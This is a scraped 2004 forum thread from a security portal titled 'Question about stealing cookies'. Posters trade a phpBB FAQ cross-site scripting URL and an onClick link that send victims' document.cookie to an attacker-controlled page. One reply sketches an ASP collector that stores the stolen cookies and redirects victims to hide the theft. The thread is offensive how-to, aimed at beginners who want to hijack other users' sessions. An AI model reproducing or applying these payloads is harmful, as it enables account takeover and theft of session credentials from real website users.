Waraxe IT Security Portal
Login or Register
November 18, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 619
Members: 0
Total: 619
Full disclosure
[Tool] starshield-forensics v0.3.7: Offline Chromium LevelDB .log carver (Python stdlib, MIT)
Dropbear: the restriction names an address — permitopen/permitlisten not enforced for unix-socket forwarding, docker.sock reachable (HEAD 99baf182, live-proven)
Nightscout < 15.0.8: Stored XSS via WebSocket Treatment Writes (GHSA-5mrq-gpqw-q5v5)
SAPBleed: Pre-Auth Memory Disclosure and RCE in SAP NetWeaver, Web Dispatcher and HANA XS (CVE-2026-76964, CVE-2026-89126)
APPLE-SA-11-13-2026-1 tvOS 27.2.1
Home Assistant: the password is not the key — token secrets in cleartext, two token classes never expire, password change revokes none (2026.11.0, live-proven)
InfiniteWP Client: the NOSSL signing key has 31 bits of secret — recovered live in 291.9 seconds
Open WebUI: the Windows installer mints the master key from the install second — CVE-2025-15603 was rejected; here is the measurement
APPLE-SA-11-12-2026-1 HomeView Software Version 27.2
APPLE-SA-11-09-2026-9 visionOS 27.2.1
APPLE-SA-11-09-2026-8 watchOS 26.6.1
APPLE-SA-11-09-2026-7 watchOS 27.2.1
APPLE-SA-11-09-2026-6 macOS Sequoia 15.8.3
APPLE-SA-11-09-2026-5 macOS Tahoe 26.7.3
APPLE-SA-11-09-2026-4 macOS Golden Gate 27.2.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> Question about stealing cookies
Post new topicReply to topic View previous topic :: View next topic
Question about stealing cookies
PostPosted: Wed Jul 21, 2004 10:26 am Reply with quote
Alcker
Beginner
Beginner
Joined: Jul 21, 2004
Posts: 3




Hi, It was proving new bug of phpBB, FAQ, and I used the example in http://www.waraxe.us/forum/viewtopic.php?t=224. I have put it of this form:

Code:
http://target.com/phpBB2/faq.php?faq[0][0]=%3Cscript%3Edocument.location= 'www.web.com/cookie.php?cookie=' + window.document.cookie;%3C/script%3E


but I do not obtain any result Sad. Knows somebody to that it must?

Thx very much!

PD: Sorry of my english, Confused
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 2:12 pm Reply with quote
r0ot
Regular user
Regular user
Joined: Jul 18, 2004
Posts: 15




Quote:


--------------------------------------------------------------------------------

Hi, It was proving new bug of phpBB, FAQ, and I used the example in http://www.waraxe.us/forum/viewtopic.php?t=224. I have put it of this form:

Code:
http://target.com/phpBB2/faq.php?faq[0][0]=%3Cscript%3Edocument.location= 'www.web.com/cookie.php?cookie=' + window.document.cookie;%3C/script%3E


but I do not obtain any result . Knows somebody to that it must?

Thx very much!


www.web.com/cookie.php <-- your site with a special page to gather cookies from a querystring and store in somewhere(db, file, etc)

but theres no use if u click the link cause will send your cookies to the page... lol not the one u want

Got it?

If not, mail me or pvt..

Best Regards

r0ot

_________________
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 3:11 pm Reply with quote
Alcker
Beginner
Beginner
Joined: Jul 21, 2004
Posts: 3




If, that page is prepared, but it does not go Sad (I don't know the reason),

Can give me an example for this bug? (If there are)

Thanks!
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 6:29 pm Reply with quote
r0ot
Regular user
Regular user
Joined: Jul 18, 2004
Posts: 15




sup Alck,

This isnt a bug, but a attack type that pretends that a user that dun know bout click on the link after he loggon a site, etc... (like a forum, so u make a post and put a link etc...)
Lemme show a example:
I aint no good @ php lets try some asp pages hehe

@1-Your Target: www.forum.com

@2-Your page that will get the cookie: www.myweb.com/cookie.asp


You make a post on @1 that have a url like this:
<a href="#" onClick="document.location = 'http://www.myweb.com/cookie.asp?cookieValue=' + window.document.cookie">Click here to check my new website</a>

So if the user click on crafted link they will be redirected for your page wich will do the follow:

1- get cookie and store it on a table
2- redirect the user for the correct link (so don look suspicious)

cookie.asp
-------------------------
<%
.... (connect to the db, creates a recordset, etc..)
dim rCookieValue
rCookieValue = trim(request("cookieValue"))

... (insert into the db with rCookieValue)

%>
<script>
location.href = 'rightpage.asp'
</script>

------------------------

Got it?

_________________
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 10:12 pm Reply with quote
Alcker
Beginner
Beginner
Joined: Jul 21, 2004
Posts: 3




That already I have fact, the problem is that it does not work to me: (

Thx!!
View user's profile Send private message
PostPosted: Thu Jul 22, 2004 12:33 pm Reply with quote
r0ot
Regular user
Regular user
Joined: Jul 18, 2004
Posts: 15




Np m8, anytime.

If u want help juz pm me

_________________
View user's profile Send private message
WTF
PostPosted: Fri Jul 23, 2004 8:57 pm Reply with quote
Cface
Beginner
Beginner
Joined: Jul 23, 2004
Posts: 3




Hey I'm pretty stupid so could you break it down to me. I'm new to this.

_________________
I g0t hack3d, now it's payback!
View user's profile Send private message Yahoo Messenger MSN Messenger
PostPosted: Thu May 05, 2005 12:35 pm Reply with quote
KarachiKing555
Beginner
Beginner
Joined: May 05, 2005
Posts: 1




r0ot wrote:
sup Alck,

This isnt a bug, but a attack type that pretends that a user that dun know bout click on the link after he loggon a site, etc... (like a forum, so u make a post and put a link etc...)
Lemme show a example:
I aint no good @ php lets try some asp pages hehe

@1-Your Target: www.forum.com

@2-Your page that will get the cookie: www.myweb.com/cookie.asp


You make a post on @1 that have a url like this:
<a href="#" onClick="document.location = 'http://www.myweb.com/cookie.asp?cookieValue=' + window.document.cookie">Click here to check my new website</a>

So if the user click on crafted link they will be redirected for your page wich will do the follow:

1- get cookie and store it on a table
2- redirect the user for the correct link (so don look suspicious)

cookie.asp
-------------------------
<%
.... (connect to the db, creates a recordset, etc..)
dim rCookieValue
rCookieValue = trim(request("cookieValue"))

... (insert into the db with rCookieValue)

%>
<script>
location.href = 'rightpage.asp'
</script>

------------------------

Got it?


what if i want cookies in txt file ! on my server ??
View user's profile Send private message
Question about stealing cookies
www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.043 Seconds